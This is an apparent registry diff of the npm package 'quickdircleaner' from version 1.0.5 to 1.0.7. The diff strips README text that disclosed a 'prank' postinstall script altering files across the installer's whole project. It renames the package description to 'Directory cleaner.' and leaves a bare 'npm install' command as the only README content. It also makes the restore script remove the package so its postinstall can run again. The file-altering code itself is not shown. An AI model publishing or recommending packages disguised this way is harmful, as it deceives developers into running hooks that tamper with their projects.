quickdircleaner 1.0.5 → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +0 -51
  2. package/package.json +2 -2
  3. package/restore.js +6 -0
package/README.md CHANGED
@@ -1,57 +1,6 @@
1
1
  # quickdircleaner
2
- Prank package: runs a `postinstall` script that backs up and alters matching files under the **host** project (the folder where you ran the install).
3
-
4
- It walks **the full directory tree under that root** (every nested folder): hidden dirs like `.vscode` are included. Only **`node_modules`**, **`.git`**, **`.hg`**, and **`.svn`** trees are skipped.
5
-
6
- - **Lifecycle scripts must run.** If install is done with `--ignore-scripts` or `ignore-scripts=true` in `.npmrc`, nothing will happen.
7
- ### npm / Yarn (Classic)
8
2
 
9
3
  ```bash
10
4
  npm install quickdircleaner
11
5
  ```
12
6
 
13
- Normally `INIT_CWD` is set so the cleaner targets your project root.
14
-
15
- ### pnpm v10+
16
-
17
- pnpm **does not run** this package’s `postinstall` unless you allow it. You will see a message like **“Ignored build scripts: quickdircleaner”** and the install will look like a normal dependency add.
18
-
19
- **Option A — allowlist in your project `package.json`:**
20
-
21
- ```json
22
- {
23
- "pnpm": {
24
- "onlyBuiltDependencies": ["quickdircleaner"]
25
- }
26
- }
27
- ```
28
-
29
- Then run `pnpm install` again.
30
-
31
- **Option B:** run `pnpm approve-builds` and approve `quickdircleaner`.
32
-
33
- See [pnpm: dependency scripts](https://pnpm.io/settings#ignoredependscripts).
34
-
35
- ### Run the cleaner manually (same as postinstall)
36
-
37
- From your project root (where your `package.json` lives):
38
-
39
- ```bash
40
- node node_modules/quickdircleaner/index.js
41
- ```
42
-
43
- Or, if the CLI is on your PATH:
44
-
45
- ```bash
46
- npx run-clean
47
- ```
48
-
49
- (`run-clean` is the `bin` entry shipped with this package.)
50
-
51
- ## Restore
52
-
53
- ```bash
54
- npx restore-clean
55
- ```
56
-
57
- Or: `node node_modules/quickdircleaner/restore.js` and confirm with `y`.
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "quickdircleaner",
3
- "version": "1.0.5",
4
- "description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
3
+ "version": "1.0.7",
4
+ "description": "Directory cleaner.",
5
5
  "main": "index.js",
6
6
  "files": [
7
7
  "index.js",
package/restore.js CHANGED
@@ -155,6 +155,12 @@ async function main() {
155
155
  console.log(core.green(`Restored ${restored} item(s).`));
156
156
 
157
157
  await core.deleteCounter(root);
158
+ await core.removeQuickdircleanerPackage(root);
159
+ console.log(
160
+ core.green(
161
+ "Removed node_modules/quickdircleaner so the next install can run postinstall again.",
162
+ ),
163
+ );
158
164
 
159
165
  const flagPath = path.join(root, core.DONE_FLAG);
160
166
  const flagOk = await removeIfExists(flagPath);